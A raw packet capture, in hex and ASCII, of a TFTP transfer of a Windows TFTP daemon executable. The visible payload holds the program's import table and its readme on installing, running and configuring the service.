0x0030 a43c 0000 ffff ffff ffff ffff 1240 0000 .<...........@..
0x0040 1c10 0000 883c 0000 ffff ffff ffff ffff .....<..........
0x0050 a240 0000 0010 0000 cc3d 0000 ffff ffff .@.......=......
0x0060 ffff ffff 7241 0000 4411 0000 c03d 0000 ....rA..D....=..
0x0070 ffff ffff ffff ffff a241 0000 3811 0000 .........A..8...
0x0080 043d 0000 ffff ffff ffff ffff f642 0000 .=...........B..
0x0090 7c10 0000 0000 0000 0000 0000 0000 0000 |...............
0x00a0 0000 0000 0000 0000 9240 0000 2040 0000 .........@...@..
0x00b0 7e40 0000 7040 0000 5240 0000 3e40 0000 ~@..p@..R@..>@..
0x00c0 0000 0000 6c3e 0000 f63f 0000 e63f 0000 ....l>...?...?..
0x00d0 ce3f 0000 be3f 0000 b23f 0000 a23f 0000 .?...?...?...?..
0x00e0 7a3e 0000 8a3e 0000 a03e 0000 b03e 0000 z>...>...>...>..
0x00f0 cc3e 0000 da3e 0000 f23e 0000 fe3e 0000 .>...>...>...>..
0x0100 0c3f 0000 243f 0000 3c3f 0000 563f 0000 .?..$?..<?..V?..
0x0110 623f 0000 703f 0000 783f 0000 923f 0000 b?..p?..x?...?..
0x0120 0000 0000 8242 0000 7242 0000 8e42 0000 .....B..rB...B..
0x0130 3042 0000 2642 0000 1e42 0000 1442 0000 0B..&B...B...B..
0x0140 0a42 0000 0042 0000 f841 0000 f041 0000 .B...B...A...A..
0x0150 e641 0000 dc41 0000 d241 0000 ca41 0000 .A...A...A...A..
0x0160 c241 0000 0243 0000 e242 0000 d042 0000 .A...C...B...B..
0x0170 c242 0000 b242 0000 a242 0000 b841 0000 .B...B...B...A..
0x0180 6242 0000 5442 0000 4c42 0000 3a42 0000 bB..TB..LB..:B..
0x0190 4242 0000 b041 0000 0000 0000 523e 0000 BB...A......R>..
0x01a0 6f00 0080 7300 0080 083e 0000 0900 0080 o...s....>......
0x01b0 1a3e 0000 0f00 0080 343e 0000 0a00 0080 .>......4>......
0x01c0 423e 0000 0300 0080 0c00 0080 0200 0080 B>..............
0x01d0 3700 0080 1700 0080 1400 0080 0000 0000 7...............
0x01e0 7c41 0000 9041 0000 0000 0000 2641 0000 |A...A......&A..
0x01f0 6841 0000 5e41 0000 5441 0000 4241 0000 hA..^A..TA..BA..
0x0200 3041 0000 1a41 0000 1241 0000 0a41 0000 0A...A...A...A..
0x0210 f440 0000 ea40 0000 d440 0000 b040 0000 .@...@...@...@..
07:03:56.607810 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c522 0000 8011 5b3b 800a 097f E...."....[;....
0x0010 800a 10dc 0f71 0645 000c cf92 0004 001a .....q.E........
0x0020 7002 4000 4c8d 0000 0204 05b4 0101 p.@.L.........
07:03:56.607821 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c522 0000 8011 5b3b 800a 097f E...."....[;....
0x0010 800a 10dc 0f71 0645 000c cf92 0004 001a .....q.E........
0x0020 7002 4000 4c8d 0000 0204 05b4 0101 p.@.L.........
07:03:56.611861 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1aed 0000 7f11 0471 800a 10dc E..........q....
0x0010 800a 097f 0645 0f71 020c 1429 0003 001b .....E.q...)....
0x0020 c240 0000 0000 0000 1900 5753 4145 7665 .@........WSAEve
0x0030 6e74 5365 6c65 6374 0000 1b00 5753 4147 ntSelect....WSAG
0x0040 6574 4f76 6572 6c61 7070 6564 5265 7375 etOverlappedResu
0x0050 6c74 0000 3200 5753 4152 6563 7646 726f lt..2.WSARecvFro
0x0060 6d00 0f00 5753 4143 6c6f 7365 4576 656e m...WSACloseEven
0x0070 7400 3d00 5753 4153 6f63 6b65 7441 0000 t.=.WSASocketA..
0x0080 5753 325f 3332 2e64 6c6c 0000 8c00 4578 WS2_32.dll....Ex
0x0090 6974 5072 6f63 6573 7300 2d01 4765 744c itProcess.-.GetL
0x00a0 6173 7445 7272 6f72 0000 fd02 5761 6974 astError....Wait
0x00b0 466f 7253 696e 676c 654f 626a 6563 7400 ForSingleObject.
0x00c0 3400 4372 6561 7465 4576 656e 7441 0000 4.CreateEventA..
0x00d0 c501 496e 6974 6961 6c69 7a65 4372 6974 ..InitializeCrit
0x00e0 6963 616c 5365 6374 696f 6e00 b601 4865 icalSection...He
0x00f0 6170 4372 6561 7465 0000 de01 4c65 6176 apCreate....Leav
0x0100 6543 7269 7469 6361 6c53 6563 7469 6f6e eCriticalSection
0x0110 0000 ba01 4865 6170 4672 6565 0000 1e00 ....HeapFree....
0x0120 436c 6f73 6548 616e 646c 6500 6f00 456e CloseHandle.o.En
0x0130 7465 7243 7269 7469 6361 6c53 6563 7469 terCriticalSecti
0x0140 6f6e 0000 cb01 496e 7465 726c 6f63 6b65 on....Interlocke
0x0150 6449 6e63 7265 6d65 6e74 0000 fb02 5761 dIncrement....Wa
0x0160 6974 466f 724d 756c 7469 706c 654f 626a itForMultipleObj
0x0170 6563 7473 0000 b401 4865 6170 416c 6c6f ects....HeapAllo
0x0180 6300 5202 5265 7365 7445 7665 6e74 0000 c.R.ResetEvent..
0x0190 c302 536c 6565 7000 d802 5472 7945 6e74 ..Sleep...TryEnt
0x01a0 6572 4372 6974 6963 616c 5365 6374 696f erCriticalSectio
0x01b0 6e00 c502 5375 7370 656e 6454 6872 6561 n...SuspendThrea
0x01c0 6400 5402 5265 7375 6d65 5468 7265 6164 d.T.ResumeThread
0x01d0 0000 9002 5365 7445 7665 6e74 0000 9c02 ....SetEvent....
0x01e0 5365 744c 6173 7445 7272 6f72 0000 5a00 SetLastError..Z.
0x01f0 4465 6c65 7465 4372 6974 6963 616c 5365 DeleteCriticalSe
0x0200 6374 696f 6e00 2f01 4765 744c 6f63 616c ction./.GetLocal
0x0210 5469 6d65 0000 8f00 4578 7061 6e64 456e Time....ExpandEn
07:03:56.612805 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c523 0000 8011 5b3a 800a 097f E....#....[:....
0x0010 800a 10dc 0f71 0645 000c cf91 0004 001b .....q.E........
0x0020 7002 4000 a60a 0000 0204 05b4 0101 p.@...........
07:03:56.612817 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c523 0000 8011 5b3a 800a 097f E....#....[:....
0x0010 800a 10dc 0f71 0645 000c cf91 0004 001b .....q.E........
0x0020 7002 4000 a60a 0000 0204 05b4 0101 p.@...........
07:03:56.617658 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1af0 0000 7f11 046e 800a 10dc E..........n....
0x0010 800a 097f 0645 0f71 020c 8f94 0003 001c .....E.q........
0x0020 7669 726f 6e6d 656e 7453 7472 696e 6773 vironmentStrings
0x0030 4100 4b45 524e 454c 3332 2e64 6c6c 0000 A.KERNEL32.dll..
0x0040 e501 5374 6172 7453 6572 7669 6365 4374 ..StartServiceCt
0x0050 726c 4469 7370 6174 6368 6572 4100 df01 rlDispatcherA...
0x0060 5365 7453 6572 7669 6365 5374 6174 7573 SetServiceStatus
0x0070 0000 b901 5265 6769 7374 6572 5365 7276 ....RegisterServ
0x0080 6963 6543 7472 6c48 616e 646c 6572 4100 iceCtrlHandlerA.
0x0090 8401 5265 6743 6c6f 7365 4b65 7900 a701 ..RegCloseKey...
0x00a0 5265 6751 7565 7279 5661 6c75 6545 7841 RegQueryValueExA
0x00b0 0000 9d01 5265 674f 7065 6e4b 6579 4578 ....RegOpenKeyEx
0x00c0 4100 4144 5641 5049 3332 2e64 6c6c 0000 A.ADVAPI32.dll..
0x00d0 5002 5274 6c52 6567 6973 7465 7257 6169 P.RtlRegisterWai
0x00e0 7400 8401 5274 6c43 7265 6174 6554 696d t...RtlCreateTim
0x00f0 6572 0000 8501 5274 6c43 7265 6174 6554 er....RtlCreateT
0x0100 696d 6572 5175 6575 6500 2e04 5f63 686b imerQueue..._chk
0x0110 7374 6b00 a101 5274 6c44 6572 6567 6973 stk...RtlDeregis
0x0120 7465 7257 6169 7445 7800 3304 5f69 746f terWaitEx.3._ito
0x0130 6100 5004 6174 6f69 0000 3d04 5f73 7472 a.P.atoi..=._str
0x0140 6963 6d70 0000 6d04 6d65 6d6d 6f76 6500 icmp..m.memmove.
0x0150 9d01 5274 6c44 656c 6574 6554 696d 6572 ..RtlDeleteTimer
0x0160 0000 9902 5274 6c55 7064 6174 6554 696d ....RtlUpdateTim
0x0170 6572 0000 8604 746f 6c6f 7765 7200 5f04 er....tolower._.
0x0180 6973 7570 7065 7200 7d04 7374 726e 6370 isupper.}.strncp
0x0190 7900 6e74 646c 6c2e 646c 6c00 4f00 4e6f y.ntdll.dll.O.No
0x01a0 7469 6679 4164 6472 4368 616e 6765 0000 tifyAddrChange..
0x01b0 2200 4765 7449 7041 6464 7254 6162 6c65 ".GetIpAddrTable
0x01c0 0000 6970 686c 7061 7069 2e64 6c6c 0000 ..iphlpapi.dll..
0x01d0 4602 6578 6974 0000 9b02 7072 696e 7466 F.exit....printf
0x01e0 0000 4302 6374 696d 6500 5402 666f 7065 ..C.ctime.T.fope
0x01f0 6e00 7f01 5f6d 6b64 6972 0000 c500 5f65 n..._mkdir...._e
0x0200 7272 6e6f 0000 aa00 5f63 6864 6972 0000 rrno...._chdir..
0x0210 cd02 7469 6d65 0000 5b02 6672 6565 0000 ..time..[.free..
07:03:56.621961 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c524 0000 8011 5b39 800a 097f E....$....[9....
0x0010 800a 10dc 0f71 0645 000c cf90 0004 001c .....q.E........
0x0020 7002 4000 0754 0000 0204 05b4 0101 p.@..T........
07:03:56.621975 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c524 0000 8011 5b39 800a 097f E....$....[9....
0x0010 800a 10dc 0f71 0645 000c cf90 0004 001c .....q.E........
0x0020 7002 4000 0754 0000 0204 05b4 0101 p.@..T........
07:03:56.625885 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1af4 0000 7f11 046a 800a 10dc E..........j....
0x0010 800a 097f 0645 0f71 020c f152 0003 001d .....E.q...R....
0x0020 4902 6663 6c6f 7365 0000 a402 7265 616c I.fclose....real
0x0030 6c6f 6300 8e02 6d61 6c6c 6f63 0000 9501 loc...malloc....
0x0040 5f72 6561 6400 b000 5f63 6c6f 7365 0000 _read..._close..
0x0050 4101 5f6c 7365 656b 0000 8401 5f6f 7065 A._lseek...._ope
0x0060 6e00 1402 5f77 7269 7465 0000 d000 5f65 n..._write...._e
0x0070 7869 7400 4800 5f58 6370 7446 696c 7465 xit.H._XcptFilte
0x0080 7200 6300 5f5f 705f 5f5f 696e 6974 656e r.c.__p___initen
0x0090 7600 5800 5f5f 6765 746d 6169 6e61 7267 v.X.__getmainarg
0x00a0 7300 0c01 5f69 6e69 7474 6572 6d00 8200 s..._initterm...
0x00b0 5f5f 7365 7475 7365 726d 6174 6865 7272 __setusermatherr
0x00c0 0000 9b00 5f61 646a 7573 745f 6664 6976 ...._adjust_fdiv
0x00d0 0000 6900 5f5f 705f 5f63 6f6d 6d6f 6465 ..i.__p__commode
0x00e0 0000 6e00 5f5f 705f 5f66 6d6f 6465 0000 ..n.__p__fmode..
0x00f0 8000 5f5f 7365 745f 6170 705f 7479 7065 ..__set_app_type
0x0100 0000 c700 5f65 7863 6570 745f 6861 6e64 ...._except_hand
0x0110 6c65 7233 0000 4d53 5643 5254 2e64 6c6c ler3..MSVCRT.dll
0x0120 0000 b400 5f63 6f6e 7472 6f6c 6670 0000 ...._controlfp..
0x0130 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0140 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0150 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0160 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0170 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0180 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0190 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01a0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01b0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01c0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0200 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0210 0000 0000 0000 0000 0000 0000 0000 0000 ................
07:03:56.626795 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c525 0000 8011 5b38 800a 097f E....%....[8....
0x0010 800a 10dc 0f71 0645 000c cf8f 0004 001d .....q.E........
0x0020 7002 4000 0963 0000 0204 05b4 0101 p.@..c........
07:03:56.626807 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c525 0000 8011 5b38 800a 097f E....%....[8....
0x0010 800a 10dc 0f71 0645 000c cf8f 0004 001d .....q.E........
0x0020 7002 4000 0963 0000 0204 05b4 0101 p.@..c........
07:03:56.630733 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1af5 0000 7f11 0469 800a 10dc E..........i....
0x0010 800a 097f 0645 0f71 020c 7b47 0003 001e .....E.q..{G....
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 203d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d .===============
0x0040 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0050 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0060 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0070 3d3d 3d3d 3d3d 3d3d 3d20 0a41 6273 7472 =========..Abstr
0x0080 6163 743a 2020 2020 2020 2020 2020 2020 act:............
0x0090 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x00a0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x00b0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x00c0 2020 2020 200a 2054 6869 7320 696d 706c .......This.impl
0x00d0 656d 656e 7473 2061 6e20 5246 4320 3738 ements.an.RFC.78
0x00e0 3320 7466 7470 2064 6165 6d6f 6e2e 2020 3.tftp.daemon...
0x00f0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0100 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0110 0a20 4974 206c 6973 7465 6e73 206f 6e20 ..It.listens.on.
0x0120 706f 7274 2036 3920 666f 7220 7265 7175 port.69.for.requ
0x0130 6573 7473 2020 2020 2020 2020 2020 2020 ests............
0x0140 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0150 2020 2020 2020 2020 2020 200a 2061 6e64 .............and
0x0160 2073 7061 776e 7320 6120 7468 7265 6164 .spawns.a.thread
0x0170 2074 6f20 7072 6f63 6573 7320 6561 6368 .to.process.each
0x0180 2072 6571 7565 7374 2e20 2020 2020 2020 .request........
0x0190 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x01a0 2020 2020 2020 0a20 2020 2020 2020 2020 ................
0x01b0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x01c0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x01d0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x01e0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x01f0 200a 5446 5450 4420 5553 4147 4520 616e ..TFTPD.USAGE.an
0x0200 6420 496e 7374 616c 6c61 7469 6f6e 3a20 d.Installation:.
0x0210 2020 2020 2020 2020 2020 2020 2020 2020 ................
07:03:56.631712 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c526 0000 8011 5b37 800a 097f E....&....[7....
0x0010 800a 10dc 0f71 0645 000c cf8e 0004 001e .....q.E........
0x0020 7002 4000 748e 0000 0204 05b4 0101 p.@.t.........
07:03:56.631725 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c526 0000 8011 5b37 800a 097f E....&....[7....
0x0010 800a 10dc 0f71 0645 000c cf8e 0004 001e .....q.E........
0x0020 7002 4000 748e 0000 0204 05b4 0101 p.@.t.........
07:03:56.636211 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1af6 0000 7f11 0468 800a 10dc E..........h....
0x0010 800a 097f 0645 0f71 020c ef91 0003 001f .....E.q........
0x0020 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0030 2020 2020 2020 2020 2020 2020 0a20 2020 ................
0x0040 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0050 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0060 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0070 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0080 2020 2020 2020 200a 2020 6d64 2064 3a2f ..........md.d:/
0x0090 7466 7470 6420 2020 2020 2020 2020 2020 tftpd...........
0x00a0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x00b0 2020 2020 2020 2020 2020 2874 6865 2053 ..........(the.S
0x00c0 7461 7274 4469 7265 6374 6f72 7929 2e20 tartDirectory)..
0x00d0 2020 0a20 2063 6f70 7920 2f2f 4d6f 6873 .....copy.//Mohs
0x00e0 696e 415f 7039 302f 7465 7374 2f74 6674 inA_p90/test/tft
0x00f0 7064 2e65 7865 202e 2020 2020 2020 2020 pd.exe..........
0x0100 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0110 2020 2020 2020 2020 2020 2020 200a 2020 ................
0x0120 7363 2063 7265 6174 6520 7466 7470 6420 sc.create.tftpd.
0x0130 6269 6e50 6174 683d 2064 3a2f 7466 7470 binPath=.d:/tftp
0x0140 642f 7466 7470 642e 6578 6520 2020 2020 d/tftpd.exe.....
0x0150 2867 6976 6520 6675 6c6c 2070 6174 6829 (give.full.path)
0x0160 2e20 2020 2020 2020 0a20 2073 6320 7175 ...........sc.qu
0x0170 6572 7920 7466 7470 6420 2020 2020 2020 ery.tftpd.......
0x0180 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0190 2020 2020 2020 2020 2020 2028 6368 6563 ...........(chec
0x01a0 6b20 6966 2069 6e73 7461 6c6c 6564 292e k.if.installed).
0x01b0 2020 200a 2020 2020 2020 2020 2020 2020 ................
0x01c0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x01d0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x01e0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x01f0 2020 2020 2020 2020 2020 2020 2020 0a53 ...............S
0x0200 7461 7274 3a20 2020 2020 2020 2020 2020 tart:...........
0x0210 2020 2020 2020 2020 2020 2020 2020 2020 ................
07:03:56.637124 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c527 0000 8011 5b36 800a 097f E....'....[6....
0x0010 800a 10dc 0f71 0645 000c cf8d 0004 001f .....q.E........
0x0020 7002 4000 759d 0000 0204 05b4 0101 p.@.u.........
07:03:56.637136 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c527 0000 8011 5b36 800a 097f E....'....[6....
0x0010 800a 10dc 0f71 0645 000c cf8d 0004 001f .....q.E........
0x0020 7002 4000 759d 0000 0204 05b4 0101 p.@.u.........
07:03:56.641215 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1af7 0000 7f11 0467 800a 10dc E..........g....
0x0010 800a 097f 0645 0f71 020c 28df 0003 0020 .....E.q..(.....
0x0020 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0030 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0040 2020 2020 2020 2020 200a 2020 2020 7363 ..............sc
0x0050 2073 7461 7274 2074 6674 7064 202d 6620 .start.tftpd.-f.
0x0060 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0070 2020 2020 2020 2020 2020 2020 2863 7265 ............(cre
0x0080 6174 6573 2061 206c 6f67 2066 696c 6529 ates.a.log.file)
0x0090 2e20 2020 0a6f 7220 2073 6320 7374 6172 .....or..sc.star
0x00a0 7420 7466 7470 6420 2020 2020 2020 2020 t.tftpd.........
0x00b0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x00c0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x00d0 2020 2020 2020 2020 2020 2020 2020 200a ................
0x00e0 6f72 2020 6e65 7420 7374 6172 7420 7466 or..net.start.tf
0x00f0 7470 6420 2020 2020 2020 2020 2020 2020 tpd.............
0x0100 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0110 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0120 2020 2020 2020 2020 2020 0a6f 7220 2073 ...........or..s
0x0130 6320 7374 6172 7420 7466 7470 6420 5b2d c.start.tftpd.[-
0x0140 6453 7461 7274 4469 7265 6374 6f72 795d dStartDirectory]
0x0150 205b 2d65 5d20 5b2d 665d 2020 2020 2020 .[-e].[-f]......
0x0160 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0170 2020 2020 200a 2020 2020 4f70 7469 6f6e ..........Option
0x0180 733a 202d 6520 2075 7365 2065 7665 6e74 s:.-e..use.event
0x0190 206c 6f67 2e20 2020 2020 2020 2020 2020 .log............
0x01a0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x01b0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x01c0 0a20 2020 2020 2020 2020 2020 2020 2d66 ..............-f
0x01d0 2020 6c6f 6720 746f 2066 696c 652e 2020 ..log.to.file...
0x01e0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x01f0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0200 2020 2020 2020 2020 2020 200a 2020 2020 ................
0x0210 2020 2020 2020 2020 202d 6453 7461 7274 .........-dStart
07:03:56.647162 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c528 0000 8011 5b35 800a 097f E....(....[5....
0x0010 800a 10dc 0f71 0645 000c cf8c 0004 0020 .....q.E........
0x0020 7002 4000 f24b 0000 0204 05b4 0101 p.@..K........
07:03:56.647175 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c528 0000 8011 5b35 800a 097f E....(....[5....
0x0010 800a 10dc 0f71 0645 000c cf8c 0004 0020 .....q.E........
0x0020 7002 4000 f24b 0000 0204 05b4 0101 p.@..K........
07:03:56.651638 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1af8 0000 7f11 0466 800a 10dc E..........f....
0x0010 800a 097f 0645 0f71 020c c41e 0003 0021 .....E.q.......!
0x0020 4469 7265 6374 6f72 7920 2020 2020 2020 Directory.......
0x0030 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0040 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0050 2020 2020 2020 0a49 6e66 6f3a 2020 2020 .......Info:....
0x0060 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0070 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0080 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0090 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x00a0 200a 2020 7363 2069 6e74 6572 726f 6761 ....sc.interroga
0x00b0 7465 2074 6674 7064 2020 2020 2020 2020 te.tftpd........
0x00c0 2020 2028 6c6f 6773 2077 696c 6c20 6265 ...(logs.will.be
0x00d0 2075 7064 6174 6564 292e 2020 2020 2020 .updated).......
0x00e0 2020 2020 2020 2020 2020 2020 0a20 2073 ...............s
0x00f0 6320 7175 6572 7920 7466 7470 6420 2020 c.query.tftpd...
0x0100 2020 2020 2020 2020 2020 2020 2020 4368 ..............Ch
0x0110 6563 6b20 7768 6574 6865 7220 7275 6e6e eck.whether.runn
0x0120 696e 672e 2020 2020 2020 2020 2020 2020 ing.............
0x0130 2020 2020 2020 200a 5374 6f70 3a20 2020 ........Stop:...
0x0140 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0150 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0160 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0170 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0180 2020 0a20 2073 6320 2073 746f 7020 7466 .....sc..stop.tf
0x0190 7470 6420 2020 2020 2020 2020 2020 2020 tpd.............
0x01a0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x01b0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x01c0 2020 2020 2020 2020 2020 2020 200a 2020 ................
0x01d0 6e65 7420 7374 6f70 2074 6674 7064 2020 net.stop.tftpd..
0x01e0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x01f0 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0200 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0210 2020 2020 2020 2020 0a20 2020 2020 2020 ................
07:03:56.652569 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c529 0000 8011 5b34 800a 097f E....)....[4....
0x0010 800a 10dc 0f71 0645 000c cf8b 0004 0021 .....q.E.......!
0x0020 7002 4000 6ae4 0000 0204 05b4 0101 p.@.j.........
07:03:56.652581 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c529 0000 8011 5b34 800a 097f E....)....[4....
0x0010 800a 10dc 0f71 0645 000c cf8b 0004 0021 .....q.E.......!
0x0020 7002 4000 6ae4 0000 0204 05b4 0101 p.@.j.........
07:03:56.656785 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1af9 0000 7f11 0465 800a 10dc E..........e....
0x0010 800a 097f 0645 0f71 020c 66ae 0003 0022 .....E.q..f...."
0x0020 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0030 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0040 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0050 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0060 2020 200a 5661 7269 6162 6c65 7320 7468 ....Variables.th
0x0070 6174 2063 6f6e 7472 6f6c 2077 6861 7420 at.control.what.
0x0080 6669 6c65 7320 6361 6e20 6265 2072 6561 files.can.be.rea
0x0090 642f 7772 6974 7465 6e20 616e 6420 6279 d/written.and.by
0x00a0 2077 686f 6d3a 2020 2020 2020 2020 0a20 .whom:..........
0x00b0 2020 5374 6172 7444 6972 6563 746f 7279 ..StartDirectory
0x00c0 202d 206f 6e6c 7920 6669 6c65 7320 7468 .-.only.files.th
0x00d0 6572 6520 7769 6c6c 2062 6520 6163 6365 ere.will.be.acce
0x00e0 7373 6962 6c65 2e20 2020 2020 2020 2020 ssible..........
0x00f0 2020 2020 2020 2020 200a 2020 2020 2020 ................
0x0100 2020 2020 2020 2020 2020 2020 2020 4c6f ..............Lo
0x0110 6746 696c 6520 6973 2063 7265 6174 6564 gFile.is.created
0x0120 2068 6572 652e 2020 2020 2020 2020 2020 .here...........
0x0130 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0140 2020 2020 0a20 2020 5661 6c69 6443 6c69 ........ValidCli
0x0150 656e 7473 202d 2043 6c69 656e 7473 206d ents.-.Clients.m
0x0160 6174 6368 696e 6720 7468 6973 2069 7020 atching.this.ip.
0x0170 6164 6472 6573 7320 6361 6e20 7265 6164 address.can.read
0x0180 2066 696c 6573 2e20 2020 2020 2020 200a .files..........
0x0190 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x01a0 2020 2020 6567 2e20 796f 7520 6361 6e20 ....eg..you.can.
0x01b0 7365 7420 6974 2074 6f20 2231 3537 2e35 set.it.to."157.5
0x01c0 352e 383f 2e2a 2220 2020 2020 2020 2020 5.8?.*".........
0x01d0 2020 2020 2020 2020 0a20 2020 5661 6c69 ............Vali
0x01e0 644d 6173 7465 7273 2020 202d 2063 6c69 dMasters...-.cli
0x01f0 656e 7473 206d 6174 6368 696e 6720 7468 ents.matching.th
0x0200 6973 2063 616e 2077 7269 7465 2061 6e64 is.can.write.and
0x0210 2072 6561 6420 6669 6c65 732e 2020 2020 .read.files.....
07:03:56.657722 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c52a 0000 8011 5b33 800a 097f E....*....[3....
0x0010 800a 10dc 0f71 0645 000c cf8a 0004 0022 .....q.E......."
0x0020 7002 4000 7ad9 0000 0204 05b4 0101 p.@.z.........
07:03:56.657734 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c52a 0000 8011 5b33 800a 097f E....*....[3....
0x0010 800a 10dc 0f71 0645 000c cf8a 0004 0022 .....q.E......."
0x0020 7002 4000 7ad9 0000 0204 05b4 0101 p.@.z.........
07:03:56.662602 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1afa 0000 7f11 0464 800a 10dc E..........d....
0x0010 800a 097f 0645 0f71 020c eb69 0003 0023 .....E.q...i...#
0x0020 2020 200a 2020 2020 2020 2020 2020 2020 ................
0x0030 2020 2020 2020 2020 6567 2e20 796f 7520 ........eg..you.
0x0040 6361 6e20 7365 7420 6974 2074 6f20 2222 can.set.it.to.""
0x0050 2061 6e64 206e 6f20 6f6e 6520 6361 6e20 .and.no.one.can.
0x0060 7772 6974 652e 2020 2020 2020 0a20 2020 write...........
